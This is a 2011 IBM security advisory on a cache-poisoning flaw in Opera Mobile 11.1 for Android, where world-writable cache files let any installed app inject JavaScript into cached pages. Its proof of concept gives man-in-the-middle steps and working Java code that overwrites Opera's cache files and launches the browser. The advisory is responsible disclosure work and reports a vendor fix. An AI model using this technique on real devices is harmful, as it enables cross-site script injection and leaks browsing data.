Opera Mobile Cache Poisoning xas

A security advisory

Roee Hay <roeeh@il.ibm.com>
IBM Rational Application Security Research Group

September 20, 2011

1 Background

Android applications are executed in a sandbox environment, to ensure that no application can access sensitive information held by another, without adequate privileges. For example, Opera Mobile holds sensitive information such as cookies, cache and history, and this cannot be accessed by third-party apps. An android app may request specific privileges during its installation; if granted by the user, the app's capabilities are extended.

One mechanism which Android uses in order to implement the sandbox, is running each application as a separate process, and as a Linux user which is private to the application's package. By running applications as different users, files owned by one application cannot be accessed by another (unless access is explicitly allowed).

2 Opera Mobile Internals

Opera Mobile for Android maintains a cache of web pages:

- The cache is stored under the directory `/data/data/com.opera.browser` with UNIX file permissions `[rwxrwx--x]`.
- All directories from the cache directory to the root are globally executable.
- The cache metadata file can be found under `/data/data/com.opera.browser/dcache4.url` with permissions `[rw-rw-rw-]`.
- The cache data can be found under the directory `/data/data/com.opera/browser/g_<number>` with permissions `[rwxrwxrwx]`. The UNIX file permissions of the cache files are `[rw-rw-rw-]`.
- The cache directory contains other files which are publically accessible, such as under the `sesn` and `revocation` directories.

3 Vulnerability

The Opera Mobile cache files (metadata and data) have insecure file permissions:

- The cache metadata file (`dcache4.url`) is globally readable and writable as explained in the aforementioned permissions analysis.
- The cache data itself are globally readable and writable as explained in the aforementioned permissions analysis.

Hence a 3^{rd} party application with no permissions may access Opera Mobile's cache, thus break Android's sandboxing model:

- It may read the cache. 3^{rd} party parsers are publicly available[1].
- It may alter the cache with arbitrary data or code, in order to conduct phishing attacks, or execute JavaScript code in the context of an arbitrary domain.

It should be noted that further research may shed light on how to attack the files found under the `sesn` and `revocation` directories.

4 Impact

By exploiting this vulnerability a malicious, non-privileged application may inject JavaScript code into the context of an arbitrary domain; therefore, this vulnerability has the same implications as global XSS, albeit from an installed application rather than another website. Furthermore, since the cache can be read, webpages accessed by the victim may be leaked to the attacker.

5 Proof-of-Concept

Our goal is to poison the cache of a target domain with arbitrary JavaScript code. We must build a valid cache entry so that Opera would be tricked into loading our malicious code. This can be achieved in two different ways:

1. Reverse engineer the cache metadata and data structure and build a malicious cache entry using that knowledge.
2. Abuse Opera in order to build a malicious cache entry.

We will demonstrate the second technique, targeting the domain `m.ibm.com`:

1. We will use a MiTM (man-in-the-middle) (e.g. Fiddler[2]) so that we are able to alter the information received from `m.ibm.com`
2. Ideally we want to find a cachable static script or HTML code. For instance, `m.ibm.com` contains a reference to `http://www.ibm.com/common/stats/stats.js`.

[1] OperaCacheView: `http://www.nirsoft.net/utils/opera_cache_view.html`
[2] Fiddler Web Debugger: `http://www.fiddler2.com/`

3. Using the MiTM, we can alter that data before reaching Opera, and inject malicious code into it, even without damaging its functionality.

4. Opera has now been tricked into creating a valid cache entry, containing our malicious content. This information (the malicious `dcache4.url` together with relevant cache data) can be now bundled with a malicious app so it is dumped to the disk once the app is launched, using the following code (our code also executes Opera once the cache is poisoned):

```
public class CachePoisoningActivity extends Activity {
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        dumpToFilesystem("dcache4.url",
                         "/data/data/com.opera.browser/cache/dcache4.url");
        dumpToFilesystem("poisonedfile",
                         "/data/data/com.opera.browser/cache/g_0000/poisonedfile");
        Intent i = new Intent();
        i.setClassName("com.opera.browser", "com.opera.Opera");
        i.setData(Uri.parse("http://m.ibm.com"));
        startActivity(i);
    }

    private void dumpToFilesystem(String assetName, String dstPath)
    {
        try {
            InputStream input = getAssets().open(assetName);
            FileOutputStream output = new FileOutputStream(dstPath);
            byte[] buffer = new byte[1024];
            int len = -1;
            while (-1 != (len = input.read(buffer)))
                 output.write(buffer, 0, len);
            output.close();
            input.close();
        } catch (IOException e) {}
        File f = new File(dstPath);
        f.setReadable(true, false);
        f.setWritable(true, false);
    }
}
```

6 Vulnerable versions

Opera Mobile 11.1 has been found vulnerable.

7 Vendor response

Opera Mobile 11.1 update 2 has been released, which incorporates a fix for this bug.

8 Acknowledgements

We would like to thank the Opera team for the efficient and quick way in which it handled this security issue.

9 References

- Video of the PoC: `http://youtu.be/8fWZh5jwFfE`
- Android 11.1 update 2 ready for download: `http://bit.ly/android-11-1-update-2`